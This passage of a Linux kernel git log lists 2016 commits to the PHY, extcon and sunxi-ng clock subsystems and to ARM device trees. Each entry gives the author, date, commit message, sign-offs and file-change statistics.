I .../devicetree/bindings/phy/phy-rockchip-typec.txt | 101 +++++++++++++++++++++ 1 file changed, 101 insertions(+) commit e96be45cb84e29e58f35ed460a859b61e8bf28c5 Author: Chris Zhong Date: Tue Aug 23 22:17:02 2016 -0700 phy: Add USB Type-C PHY driver for rk3399 Add a PHY provider driver for the rk3399 SoC Type-c PHY. The USB Type-C PHY is designed to support the USB3 and DP applications. The USB3 operates in SuperSpeed mode and the DP can operate at RBR, HBR and HBR2 data rates. This driver create 2 PHY devices separately for USB3 and DisplyPort, and registers them under the child node. Signed-off-by: Chris Zhong Signed-off-by: Kever Yang Reviewed-by: Guenter Roeck Tested-by: Guenter Roeck Signed-off-by: Kishon Vijay Abraham I drivers/phy/Kconfig | 9 + drivers/phy/Makefile | 1 + drivers/phy/phy-rockchip-typec.c | 1013 ++++++++++++++++++++++++++++++++++++++ 3 files changed, 1023 insertions(+) commit 4033d95218489375f598e89e99fcc6e4b4321732 Author: David Lechner Date: Mon Sep 5 14:45:46 2016 -0500 phy: da8xx-usb: Fix syscon device name The syscon device in board config/device tree has been renamed. Signed-off-by: David Lechner Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-da8xx-usb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 33692e3c2aa672ea2806a00fdb0218547f6738e5 Merge: 3fa2956 8df0cfe Author: Kishon Vijay Abraham I Date: Tue Sep 6 09:36:02 2016 +0530 Merge branch 'ib-extcon-phy-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/chanwoo/extcon into next commit 8df0cfe6c6c4a9355989baa8de9f166b2bc51f76 Author: Guenter Roeck Date: Mon Aug 15 06:15:35 2016 -0700 extcon: Introduce EXTCON_PROP_USB_SS property for SuperSpeed mode EXTCON_PROP_USB_SS (SuperSpeed)[1] is necessary to distinguish between USB/USB2 and USB3 connections on USB Type-C cables. [1] https://en.wikipedia.org/wiki/USB#Overview Cc: Chris Zhong Signed-off-by: Guenter Roeck Signed-off-by: Chanwoo Choi include/linux/extcon.h | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit af9b9285f2e9b5a625284f92fa508141b26ec381 Author: Chanwoo Choi Date: Fri Aug 5 18:15:46 2016 +0900 extcon: Add new EXTCON_CHG_WPT for Wireless Power Transfer device This patchs add the new EXTCON_CHG_WPT for Wireless Power Transfer[1]. The Wireless Power Transfer is the transmission of electronical energy from a power source. The EXTCON_CHG_WPT has the EXTCON_TYPE_CHG. [1] https://en.wikipedia.org/wiki/Wireless_power_transfer Signed-off-by: Chanwoo Choi drivers/extcon/extcon.c | 5 +++++ include/linux/extcon.h | 1 + 2 files changed, 6 insertions(+) commit 736d25b115e8f7b6728f39a993d784aac1c6118b Author: Chanwoo Choi Date: Fri Aug 5 17:49:23 2016 +0900 extcon: Add new EXTCON_DISP_HMD for Head-mounted Display device This patch adds the new EXTCON_DISP_HMD id for Head-mounted Display[1] device. The HMD device is usually for USB connector type So, the HMD connector has the two extcon types of both EXTCON_TYPE_DISP and EXTCON_TYPE_USB. [1] https://en.wikipedia.org/wiki/Head-mounted_display Signed-off-by: Chanwoo Choi drivers/extcon/extcon.c | 5 +++++ include/linux/extcon.h | 1 + 2 files changed, 6 insertions(+) commit 2f25140601115cd1b278e208099c9ebc627b9481 Author: Chris Zhong Date: Fri Jul 22 01:13:02 2016 +0900 extcon: Add EXTCON_DISP_DP and the property for USB Type-C Add EXTCON_DISP_DP for the Display external connector. For Type-C connector the DisplayPort can work as an Alternate Mode(VESA DisplayPort Alt Mode on USB Type-C Standard). The Type-C support both normal and flipped orientation, so add a property to extcon. Signed-off-by: Chris Zhong Signed-off-by: Chanwoo Choi Tested-by: Chris Zhong Tested-by: Guenter Roeck Reviewed-by: Guenter Roeck drivers/extcon/extcon.c | 5 +++++ include/linux/extcon.h | 8 +++++++- 2 files changed, 12 insertions(+), 1 deletion(-) commit a580982f0836e079171f65f22d82768a12f85570 Author: Chanwoo Choi Date: Fri Jul 22 13:16:34 2016 +0900 extcon: Add the synchronization extcon APIs to support the notification This patch adds the synchronization extcon APIs to support the notifications for both state and property. When extcon_*_sync() functions is called, the extcon informs the information from extcon provider to extcon client. The extcon driver may need to change the both state and multiple properties at the same time. After setting the data of a external connector, the extcon send the notification to client driver with the extcon_*_sync(). The list of new extcon APIs as following: - extcon_sync() : Send the notification for each external connector to synchronize the information between extcon provider driver and extcon client driver. - extcon_set_state_sync() : Set the state of external connector with noti. - extcon_set_property_sync() : Set the property of external connector with noti. For example, case 1, change the state of external connector and synchronized the data. extcon_set_state_sync(edev, EXTCON_USB, 1); case 2, change both the state and property of external connector and synchronized the data. extcon_set_state(edev, EXTCON_USB, 1); extcon_set_property(edev, EXTCON_USB, EXTCON_PROP_USB_VBUS 1); extcon_sync(edev, EXTCON_USB); case 3, change the property of external connector and synchronized the data. extcon_set_property(edev, EXTCON_USB, EXTCON_PROP_USB_VBUS, 0); extcon_sync(edev, EXTCON_USB); case 4, change the property of external connector and synchronized the data. extcon_set_property_sync(edev, EXTCON_USB, EXTCON_PROP_USB_VBUS, 0); Signed-off-by: Chanwoo Choi Tested-by: Chris Zhong Tested-by: Guenter Roeck Reviewed-by: Guenter Roeck drivers/extcon/extcon.c | 210 +++++++++++++++++++++++++++++++----------------- include/linux/extcon.h | 30 ++++++- 2 files changed, 164 insertions(+), 76 deletions(-) commit 35872fdcbf5c109dab03fb36ddec35b7bad7d762 Author: Chanwoo Choi Date: Fri Jul 22 13:03:17 2016 +0900 extcon: Rename the extcon_set/get_state() to maintain the function naming pattern This patch just renames the existing extcon_get/set_cable_state_() as following because of maintaining the function naming pattern like as extcon APIs for property. - extcon_set_cable_state_() -> extcon_set_state() - extcon_get_cable_state_() -> extcon_get_state() But, this patch remains the old extcon_set/get_cable_state_() functions to prevent the build break. After altering new APIs, remove the old APIs. Signed-off-by: Chanwoo Choi Tested-by: Chris Zhong Tested-by: Guenter Roeck Reviewed-by: Guenter Roeck drivers/extcon/extcon.c | 28 +++++++++++++--------------- include/linux/extcon.h | 25 ++++++++++++++++++------- 2 files changed, 31 insertions(+), 22 deletions(-) commit ceaa98f442cf09dc73946c6402489344367905ae Author: Chanwoo Choi Date: Mon Jul 25 21:15:19 2016 +0900 extcon: Add the support for the capability of each property This patch adds the support of the property capability setting. This function decides the supported properties of each external connector on extcon provider driver. Ths list of new extcon APIs to get/set the capability of property as following: - int extcon_get_property_capability(struct extcon_dev *edev, unsigned int id, unsigned int prop); - int extcon_set_property_capability(struct extcon_dev *edev, unsigned int id, unsigned int prop); Signed-off-by: Chanwoo Choi Tested-by: Chris Zhong Tested-by: Guenter Roeck Reviewed-by: Guenter Roeck drivers/extcon/extcon.c | 140 ++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/extcon.h | 22 ++++++++ 2 files changed, 162 insertions(+) commit 067c1652e7a7d50d951eee1d34a414ea931cee6c Author: Chanwoo Choi Date: Mon Jul 11 19:30:43 2016 +0900 extcon: Add the support for extcon property according to extcon type This patch support the extcon property for the external connector because each external connector might have the property according to the H/W design and the specific characteristics. - EXTCON_PROP_USB_[property name] - EXTCON_PROP_CHG_[property name] - EXTCON_PROP_JACK_[property name] - EXTCON_PROP_DISP_[property name] Add the new extcon APIs to get/set the property value as following: - int extcon_get_property(struct extcon_dev *edev, unsigned int id, unsigned int prop, union extcon_property_value *prop_val) - int extcon_set_property(struct extcon_dev *edev, unsigned int id, unsigned int prop, union extcon_property_value prop_val) Signed-off-by: Chanwoo Choi Tested-by: Chris Zhong Tested-by: Guenter Roeck Reviewed-by: Guenter Roeck drivers/extcon/extcon.c | 201 +++++++++++++++++++++++++++++++++++++++++++++++- include/linux/extcon.h | 81 +++++++++++++++++++ 2 files changed, 281 insertions(+), 1 deletion(-) commit 505cf01f984bdcf088c9ec1e96f987f1ff47dc21 Author: Chanwoo Choi Date: Mon Jul 11 16:34:52 2016 +0900 extcon: Add the extcon_type to gather each connector into five category This patch adds the new extcon type to group the each connecotr into following five category. This type would be used to handle the connectors as a group unit instead of a connector unit. - EXTCON_TYPE_USB : USB connector - EXTCON_TYPE_CHG : Charger connector - EXTCON_TYPE_JACK : Jack connector - EXTCON_TYPE_DISP : Display connector - EXTCON_TYPE_MISC : Miscellaneous connector Also, each external connector is possible to belong to one more extcon type. In caes of EXTCON_CHG_USB_SDP, it have the EXTCON_TYPE_CHG and EXTCON_TYPE_USB. Signed-off-by: Chanwoo Choi Tested-by: Chris Zhong Tested-by: Guenter Roeck Signed-off-by: MyungJoo Ham Reviewed-by: Guenter Roeck drivers/extcon/extcon.c | 159 +++++++++++++++++++++++++++++++++++++++--------- include/linux/extcon.h | 9 +++ 2 files changed, 139 insertions(+), 29 deletions(-) commit 6e25baab5a0b2af2ebeb1d817ef94b11fc465fbd Author: Maninder Singh Date: Mon Aug 1 14:51:30 2016 +0530 extcon: Fix compile time warning This patch fixes below compilation warning:- drivers/extcon/extcon.c: In function extcon_register_notifier: drivers/extcon/extcon.c:455:6: warning: idx may be used uninitialized in this function [-Wmaybe-uninitialized] if (idx >= 0) { Signed-off-by: Vaneet Narang Signed-off-by: Maninder Singh [cw00.choi : Modify the patch title using the a captical letter for first char] Signed-off-by: Chanwoo Choi drivers/extcon/extcon.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 84c48dc55945b4edfb63388832ebcca82d003ee7 Author: Chanwoo Choi Date: Fri Jul 1 02:41:18 2016 +0900 extcon: Block the bit masking operation for cable state except for extcon core This patch restrict the usage of extcon_update_state() in the extcon core because the extcon_update_state() use the bit masking to change the state of external connector. When this function is used in device drivers, it may occur the probelm with the handling mistake of bit masking. Also, this patch removes the extcon_get/set_state() functions because these functions use the bit masking which is reluctant way. Instead, extcon provides the extcon_set/get_cable_state_() functions. Signed-off-by: Chanwoo Choi drivers/extcon/extcon.c | 20 +------------------- include/linux/extcon.h | 30 ------------------------------ 2 files changed, 1 insertion(+), 49 deletions(-) commit 0143f59de50eee70485be9b658e42495d72698dd Author: Chanwoo Choi Date: Mon Jul 18 15:39:28 2016 +0900 extcon: Remove the state_store() to prevent the wrong access This patch removes the state_store() which change the state of external connectors with bit masking on user-space. It is wrong access to modify the change the state of external connectors. Signed-off-by: Chanwoo Choi drivers/extcon/extcon.c | 21 +-------------------- 1 file changed, 1 insertion(+), 20 deletions(-) commit 1662622fe595919ef004ef24364a68061052a12f Author: Chanwoo Choi Date: Thu Jul 21 20:00:29 2016 +0900 extcon: gpio: Remove the usage of extcon_set_state() This patch removes the usage of extcon_set_state() because it uses the bit masking to change the state of external connectors. The extcon framework should handle the state by extcon_set_cable_state_() with extcon id. Signed-off-by: Chanwoo Choi drivers/extcon/extcon-gpio.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cc60211237086d718e463bcee74004b5bd38a78c Author: Chanwoo Choi Date: Mon Jul 18 16:16:29 2016 +0900 extcon: adc-jack: Remove the usage of extcon_set_state() This patch removes the usage of extcon_set_state() because it uses the bit masking to change the state of external connectors. The extcon framework should handle the state by extcon_set/get_cable_state_() with extcon id. Signed-off-by: Chanwoo Choi drivers/extcon/extcon-adc-jack.c | 26 ++++++++++++++------------ include/linux/extcon/extcon-adc-jack.h | 4 ++-- 2 files changed, 16 insertions(+), 14 deletions(-) commit cdc058320209d69a5eb7692658279e16aceb2d69 Author: Chanwoo Choi Date: Fri Jul 1 02:36:49 2016 +0900 extcon: arizona: Remove the usage of extcon_update_state() This patch remvoes the usage of extcon_update_state() because the extcon_update_state() use directly the bit masking calculation to change the state of external connector without the unique id of external connector. It makes the code diffcult to read it. So, this patch uses the extcon_set_cable_state_() instead. Signed-off-by: Chanwoo Choi Acked-by: Charles Keepax drivers/extcon/extcon-arizona.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit 32daff5d77eb8053c75ce35731ec89d1f7f8eab8 Author: Charles Keepax Date: Tue Jul 19 13:23:56 2016 +0100 extcon: arizona: Remove unneeded semi-colon There is no need for a semi-colon at the end of a switch statement so remove it. Signed-off-by: Charles Keepax Signed-off-by: Chanwoo Choi drivers/extcon/extcon-arizona.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 97536d1d27e583daa8c3235ea9936065a1ae01fc Author: Stephen Boyd Date: Tue Jul 5 11:57:05 2016 -0700 extcon: Move extcon_get_edev_by_phandle() errors to dbg level Sometimes drivers may call this API and expect it to fail because the extcon they're looking for is optional. Let's move these prints to debug level so it doesn't look like there's a problem when there isn't one. Signed-off-by: Stephen Boyd Signed-off-by: Chanwoo Choi drivers/extcon/extcon.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 44d6106808a841d89dd7c96740917538ea47a29c Author: Venkat Reddy Talla Date: Tue Jul 5 19:26:21 2016 +0530 extcon: adc-jack: update cable state during boot Update cable state during boot to avoid any missing external cable events occurred before driver initialisation. Signed-off-by: Venkat Reddy Talla Signed-off-by: Chanwoo Choi drivers/extcon/extcon-adc-jack.c | 1 + 1 file changed, 1 insertion(+) commit 3fa295667a70e8f2e7e0251dbaa615b01ca82b23 Author: Frank Wang Date: Tue Aug 16 14:13:42 2016 +0800 phy: rockchip-inno-usb2: add COMMON_CLK dependency On kernel builds without COMMON_CLK, the newly added rockchip-inno-usb2 driver fails to build: drivers/phy/phy-rockchip-inno-usb2.c:124:16: error: field 'clk480m_hw' has incomplete type struct clk_hw clk480m_hw; In file included from include/linux/clk.h:16:0 from drivers/phy/phy-rockchip-inno-usb2.c:17: include/linux/kernel.h:831:48: error: initialization from incompatible pointer type [-Werror=incompatible-pointer-types] const typeof( ((type *)0)->member ) *__mptr = (ptr); \ ... ... Signed-off-by: Frank Wang Signed-off-by: Kishon Vijay Abraham I Reviewed-by: Guenter Roeck Reviewed-by: Heiko Stuebner drivers/phy/Kconfig | 1 + 1 file changed, 1 insertion(+) commit a0ceee5893d7915ab533391bea2ed245c9223175 Author: Sekhar Nori Date: Tue Aug 23 11:57:40 2016 +0300 dt-bindings: phy: ti: add documentation for ti,dra7x-usb2 Commit 7e472402ca30 ("phy: omap-usb2: Provide workaround for USB2PHY false disconnect") added a new binding for USB2 PHYs on DRA7x. But it has remained undocumented so far. Add documentation for the binding. Signed-off-by: Sekhar Nori Signed-off-by: Roger Quadros Acked-by: Rob Herring Signed-off-by: Kishon Vijay Abraham I Documentation/devicetree/bindings/phy/ti-phy.txt | 2 ++ 1 file changed, 2 insertions(+) commit 80fc6660caa64ebc7df7c78d886d2023fd652904 Author: Sekhar Nori Date: Tue Aug 23 11:57:39 2016 +0300 phy: omap-usb2: support suspend/resume Relying on PM-ops for shutting down PHY clocks was a bad idea since the users (e.g. USB DWC3) might not have been suspended by then. Get rid of all PM-ops. It is the sole responsibility of the PHY user to properly turn OFF and de-initialize the PHY as part of its suspend routine. Enable/disable PHY clock as part of ->init()/->exit() call respectively. With this phy_init() and phy_exit() can be called by PHY user during suspend/resume. This is similar to what is done for ti-pipe3 driver. See 31c8954efb1b ("phy: ti-pipe3: fix suspend") The pm_runtime_enable() call in omap_usb2_probe() is still required because without it, phy_create() will not enable runtime PM on the phy device it creates and phy_init() will not call pm_runtime_get_sync(). Without pm_runtime_get_sync(), ocp2scp hwmod will _not_ enable the IP and, thus, we will have abort exceptions. Signed-off-by: Sekhar Nori Signed-off-by: Roger Quadros Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-omap-usb2.c | 100 ++++++++++++++++++++------------------------ 1 file changed, 46 insertions(+), 54 deletions(-) commit 800dcc307dfeea7c3d7ff46f3d7d592a8dac3ea1 Author: Yoshihiro Shimoda Date: Wed Aug 24 15:49:22 2016 +0900 phy: rcar-gen3-usb2: Add a compatible string for r8a7796 This driver can support for r8a7796 SoC. So, this patch adds it. Signed-off-by: Yoshihiro Shimoda Acked-by: Geert Uytterhoeven Acked-by: Rob Herring Signed-off-by: Kishon Vijay Abraham I Documentation/devicetree/bindings/phy/rcar-gen3-phy-usb2.txt | 2 ++ drivers/phy/phy-rcar-gen3-usb2.c | 1 + 2 files changed, 3 insertions(+) commit 8cf1ffe985ef81c983092838332a639cbf86d74c Author: Yoshihiro Shimoda Date: Wed Aug 24 15:49:21 2016 +0900 phy: rcar-gen3-usb2: revise the example of device tree doc The clocks property should be set to &cpg, not &mstpX_clks. Signed-off-by: Yoshihiro Shimoda Reviewed-by: Geert Uytterhoeven Acked-by: Rob Herring Signed-off-by: Kishon Vijay Abraham I Documentation/devicetree/bindings/phy/rcar-gen3-phy-usb2.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 5ed0e7410451f1148d7655461cae7ed23aafd244 Author: Axel Lin Date: Tue Aug 30 21:54:00 2016 +0800 phy: bcm-ns2-pcie: Set missing .owner field in ns2_pci_phy_ops Add missing .owner field in ns2_pci_phy_ops, which is used for refcounting. While at it, also makes ns2_pci_phy_ops const as it's never get modified. Signed-off-by: Axel Lin Reviewed-and-tested-by: Jon Mason Reviewed-by: Pramod Kumar Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-bcm-ns2-pcie.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit b9d0397fefb3487ed121d45c9ecf4a21d4ecd54c Author: Axel Lin Date: Tue Aug 30 21:53:59 2016 +0800 phy: bcm-ns2-pcie: Get rid of struct ns2_pci_phy By setting phy_set_drvdata(phy, mdiodev), struct ns2_pci_phy can be removed. Signed-off-by: Axel Lin Reviewed-and-tested-by: Jon Mason Reviewed-by: Pramod Kumar Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-bcm-ns2-pcie.c | 25 +++++-------------------- 1 file changed, 5 insertions(+), 20 deletions(-) commit 713b3ce9a3afba269590b8630db8abd8e139f873 Author: Baoyou Xie Date: Wed Aug 31 17:05:19 2016 +0800 phy: tegra: mark tegra_xusb_lane_lookup_function() static We get 1 warning when building kernel with W=1: drivers/phy/tegra/xusb.c:104:5: warning: no previous prototype for 'tegra_xusb_lane_lookup_function' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. So this patch marks it 'static'. Signed-off-by: Baoyou Xie Acked-by: Arnd Bergmann Acked-by: Thierry Reding Signed-off-by: Kishon Vijay Abraham I drivers/phy/tegra/xusb.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 0674b440b8c98a0fa353960c814076a32d39b472 Author: Baoyou Xie Date: Wed Aug 31 16:56:49 2016 +0800 phy: tegra: add missing header dependencies We get 5 warnings when building kernel with W=1: drivers/phy/tegra/xusb.c:948:27: warning: no previous prototype for 'tegra_xusb_padctl_get' [-Wmissing-prototypes] drivers/phy/tegra/xusb.c:981:6: warning: no previous prototype for 'tegra_xusb_padctl_put' [-Wmissing-prototypes] drivers/phy/tegra/xusb.c:988:5: warning: no previous prototype for 'tegra_xusb_padctl_usb3_save_context' [-Wmissing-prototypes] drivers/phy/tegra/xusb.c:998:5: warning: no previous prototype for 'tegra_xusb_padctl_hsic_set_idle' [-Wmissing-prototypes] drivers/phy/tegra/xusb.c:1008:5: warning: no previous prototype for 'tegra_xusb_padctl_usb3_set_lfps_detect' [-Wmissing-prototypes] In fact, these functions are declared in linux/phy/tegra/xusb.h, so this patch adds missing header dependencies. Signed-off-by: Baoyou Xie Acked-by: Arnd Bergmann Acked-by: Thierry Reding Signed-off-by: Kishon Vijay Abraham I drivers/phy/tegra/xusb.c | 1 + 1 file changed, 1 insertion(+) commit fcffee3d54fcadcfa82b183c3fcdbd43e573339e Author: Shawn Lin Date: Thu Sep 1 15:44:54 2016 +0800 phy: add a driver for the Rockchip SoC internal PCIe PHY This patch to add a generic PHY driver for rockchip PCIe PHY. Access the PHY via registers provided by GRF (general register files) module. Signed-off-by: Shawn Lin Signed-off-by: Kishon Vijay Abraham I drivers/phy/Kconfig | 8 + drivers/phy/Makefile | 1 + drivers/phy/phy-rockchip-pcie.c | 357 ++++++++++++++++++++++++++++++++++++++++ 3 files changed, 366 insertions(+) commit b11c821532b53976ff8af1b9c98d114facdfadcb Author: Shawn Lin Date: Thu Sep 1 15:44:53 2016 +0800 Documentation: bindings: add dt documentation for Rockchip PCIe PHY This patch adds a binding that describes the Rockchip PCIe PHY found on Rockchip SoCs PCIe interface. Signed-off-by: Shawn Lin Acked-by: Rob Herring Signed-off-by: Kishon Vijay Abraham I .../devicetree/bindings/phy/rockchip-pcie-phy.txt | 31 ++++++++++++++++++++++ 1 file changed, 31 insertions(+) commit 0e08d2a727e68bbe426457dc61ec11a5c6a76ed6 Author: Frank Wang Date: Fri Jul 22 15:00:44 2016 +0800 phy: rockchip-inno-usb2: add a new driver for Rockchip usb2phy The newer SoCs (rk3366, rk3399) take a different usb-phy IP block than rk3288 and before, and most of phy-related registers are also different from the past, so a new phy driver is required necessarily. Signed-off-by: Frank Wang Suggested-by: Heiko Stuebner Suggested-by: Guenter Roeck Suggested-by: Doug Anderson Reviewed-by: Heiko Stuebner Reviewed-by: Guenter Roeck Signed-off-by: Kishon Vijay Abraham I drivers/phy/Kconfig | 7 + drivers/phy/Makefile | 1 + drivers/phy/phy-rockchip-inno-usb2.c | 707 +++++++++++++++++++++++++++++++++++ 3 files changed, 715 insertions(+) commit 72580a49a837c2c7da83f698c00592eac41537d8 Author: Frank Wang Date: Fri Jul 22 15:00:43 2016 +0800 Documentation: bindings: add DT documentation for Rockchip USB2PHY Signed-off-by: Frank Wang Acked-by: Rob Herring Reviewed-by: Heiko Stuebner Signed-off-by: Kishon Vijay Abraham I .../bindings/phy/phy-rockchip-inno-usb2.txt | 64 ++++++++++++++++++++++ 1 file changed, 64 insertions(+) commit 3ea981ed816a69129d1153d1b683617496b126cb Author: Julia Lawall Date: Fri Aug 5 13:25:13 2016 +0200 phy: qcom-ufs: use of_property_read_bool Use of_property_read_bool to check for the existence of a property. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @@ expression e1,e2,x; @@ - if (of_get_property(e1,e2,NULL)) - x = true; - else - x = false; + x = of_property_read_bool(e1,e2); // Signed-off-by: Julia Lawall Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-qcom-ufs.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit e5666281d9eadb98a802e5ec6e85f0b4640f30c4 Author: Rafał Miłecki Date: Fri Aug 12 00:28:03 2016 +0200 phy: bcm-ns-usb3: new driver for USB 3.0 PHY on Northstar Northstar is a family of SoCs used in home routers. They have USB 2.0 and 3.0 controllers with PHYs that need to be properly initialized. This driver provides PHY init support in a generic way and can be bound with XHCI controller driver. There aren't any public datasheets from Broadcom so we can't have nice defines for all used bits. It means we just follow Broadcom's initialization procedure using their magic values. We were quite lucky actually that Broadcom put some comments in their SDK reference code explaining what given writes are responsible for. Signed-off-by: Rafał Miłecki Signed-off-by: Kishon Vijay Abraham I .../devicetree/bindings/phy/bcm-ns-usb3-phy.txt | 23 ++ drivers/phy/Kconfig | 9 + drivers/phy/Makefile | 1 + drivers/phy/phy-bcm-ns-usb3.c | 274 +++++++++++++++++++++ 4 files changed, 307 insertions(+) commit b3e0d141ca9f7355fca8a12feb451c31f6b2ee18 Author: Icenowy Zheng Date: Fri Aug 12 11:06:21 2016 +0800 phy: sun4i: add support for A64 usb phy There's something unknown in the pmu part that shared with H3. It's renamed as PMU_UNK1 from PMU_UNK_H3. Signed-off-by: Icenowy Zheng Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-sun4i-usb.c | 35 +++++++++++++++++++++++++++++------ 1 file changed, 29 insertions(+), 6 deletions(-) commit 732e35da7b4ab054239b92ce10c8e7936724a2c8 Author: Icenowy Zheng Date: Fri Aug 12 11:06:20 2016 +0800 dt: bindings: add bindings for Allwinner A64 usb phy Update sun4i usb phy dt binding documentation to include support for Allwinner A64 usb phy. Signed-off-by: Icenowy Zheng Signed-off-by: Kishon Vijay Abraham I Documentation/devicetree/bindings/phy/sun4i-usb-phy.txt | 1 + 1 file changed, 1 insertion(+) commit d223472505d4211b348a5931605858c85b395df5 Author: Axel Lin Date: Fri Aug 12 17:27:38 2016 +0800 phy: exynos5-usbdrd: Remove "static" from local variable The 'reg' local variable does not need to be static. Signed-off-by: Axel Lin Reviewed-by: Krzysztof Kozlowski Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-exynos5-usbdrd.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit bd33544e25e6c8edffb22257ab7c78ad7957c2b2 Author: Chen-Yu Tsai Date: Thu Sep 8 11:25:35 2016 +0800 ARM: dts: sun8i: Move A23/A33 usbphy and usb_otg nodes to common dtsi The usbphy and usb_otg nodes in the A23 and A33 dts files only differ by compatible, and for the usbphy, the size of one of its register regions. Move all the common bits to the A23/A33 common dtsi file. Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun8i-a23-a33.dtsi | 30 +++++++++++++++++++++++++ arch/arm/boot/dts/sun8i-a23.dtsi | 43 +++++++++--------------------------- arch/arm/boot/dts/sun8i-a33.dtsi | 41 +++++++++------------------------- 3 files changed, 50 insertions(+), 64 deletions(-) commit 3353bedc4d5d014b8ef43dc72a42da9a4659b2e2 Author: Maxime Ripard Date: Thu Jun 9 13:56:21 2016 +0200 ARM: sun8i: a23/a33: Add RGB666 pins The LCD output needs to be muxed. Add the proper pinctrl node. Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai arch/arm/boot/dts/sun8i-a23-a33.dtsi | 10 ++++++++++ 1 file changed, 10 insertions(+) commit b12684fed5dcf2da14ac98adc38e6a7fb7ad0c7a Author: Maxime Ripard Date: Thu Jan 7 12:28:00 2016 +0100 ARM: sun8i: a33: Add display pipeline Add all the needed blocks to the A33 DTSI. Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai arch/arm/boot/dts/sun8i-a33.dtsi | 152 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 152 insertions(+) commit 2c89ce4f4b19561218c1acb97172bd7ba1a6ddc2 Author: Maxime Ripard Date: Wed Aug 31 14:58:20 2016 +0200 ARM: sun8i: Convert the A23 and A33 to the CCU Now that we have support for the CCU driver in sunxi-ng, convert the A23 and A33 DTs to that driver. Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai arch/arm/boot/dts/sun8i-a23-a33.dtsi | 257 ++++++++--------------------------- arch/arm/boot/dts/sun8i-a23.dtsi | 51 ++----- arch/arm/boot/dts/sun8i-a33.dtsi | 73 ++-------- 3 files changed, 75 insertions(+), 306 deletions(-) commit 78a9f0dbcd6015cdd1114dc7d78554fd5bb28010 Author: Chen-Yu Tsai Date: Thu Aug 25 14:22:00 2016 +0800 ARM: dts: sun6i: switch A31/A31s to new CCU clock bindings Now that we have a different clock representation, switch to it. Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun6i-a31.dtsi | 424 +++++++++------------------------------ 1 file changed, 97 insertions(+), 327 deletions(-) commit bdc2601b02d31974b5765b93ac263b2eeab2e07c Merge: accfb2f d63a5e7 Author: Maxime Ripard Date: Sat Sep 10 11:45:28 2016 +0200 Merge branch 'sunxi/clk-for-4.9' into sunxi/dt-for-4.9 commit d63a5e7c713a68bd368016f2022326a1a91310d8 Author: Jean Delvare Date: Thu Sep 8 23:28:29 2016 +0200 clk: sunxi-ng: Add hardware dependency The sunxi-ng clock driver is useless for other architectures. Signed-off-by: Jean Delvare Acked-by: Stephen Boyd Signed-off-by: Maxime Ripard drivers/clk/sunxi-ng/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 5690879d93e8d3706908ec2959b0905227e68cf1 Author: Maxime Ripard Date: Wed Aug 31 16:55:00 2016 +0200 clk: sunxi-ng: Add A23 CCU Add support for the clock unit found in the A23. Due to the similarities with the A33, it also shares its clock IDs to allow sharing the DTSI. Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai .../devicetree/bindings/clock/sunxi-ccu.txt | 1 + drivers/clk/sunxi-ng/Kconfig | 12 + drivers/clk/sunxi-ng/Makefile | 1 + drivers/clk/sunxi-ng/ccu-sun8i-a23.c | 737 +++++++++++++++++++++ 4 files changed, 751 insertions(+) commit d05c748bd73015aa4aa10bafc178fc2be46a02cb Author: Maxime Ripard Date: Wed Aug 24 14:10:15 2016 +0200 clk: sunxi-ng: Add A33 CCU support This commit introduces the clocks found in the Allwinner A33 CCU. Since this SoC is very similar to the A23, and we share a significant share of the DTSI, the clock IDs that are going to be used will also be shared with the A23, hence the name of the various header files. Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai .../devicetree/bindings/clock/sunxi-ccu.txt | 1 + drivers/clk/sunxi-ng/Kconfig | 12 + drivers/clk/sunxi-ng/Makefile | 1 + drivers/clk/sunxi-ng/ccu-sun8i-a23-a33.h | 63 ++ drivers/clk/sunxi-ng/ccu-sun8i-a33.c | 780 +++++++++++++++++++++ include/dt-bindings/clock/sun8i-a23-a33-ccu.h | 127 ++++ include/dt-bindings/reset/sun8i-a23-a33-ccu.h | 87 +++ 7 files changed, 1071 insertions(+) commit aa152335174825fa4b4cd9af0564774b61857898 Author: Maxime Ripard Date: Tue Aug 30 10:38:07 2016 +0200 clk: sunxi-ng: Add N-class clocks support Add support for the class with a single factor, N, being a multiplier. Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai drivers/clk/sunxi-ng/Kconfig | 4 ++ drivers/clk/sunxi-ng/Makefile | 1 + drivers/clk/sunxi-ng/ccu_mult.c | 133 ++++++++++++++++++++++++++++++++++++++++ drivers/clk/sunxi-ng/ccu_mult.h | 35 +++++++++++ 4 files changed, 173 insertions(+) commit 13e91e4583973dff44c5cedc83b318f6518a58f0 Author: Maxime Ripard Date: Tue Aug 30 10:38:51 2016 +0200 clk: sunxi-ng: mux: Add mux table macro Add 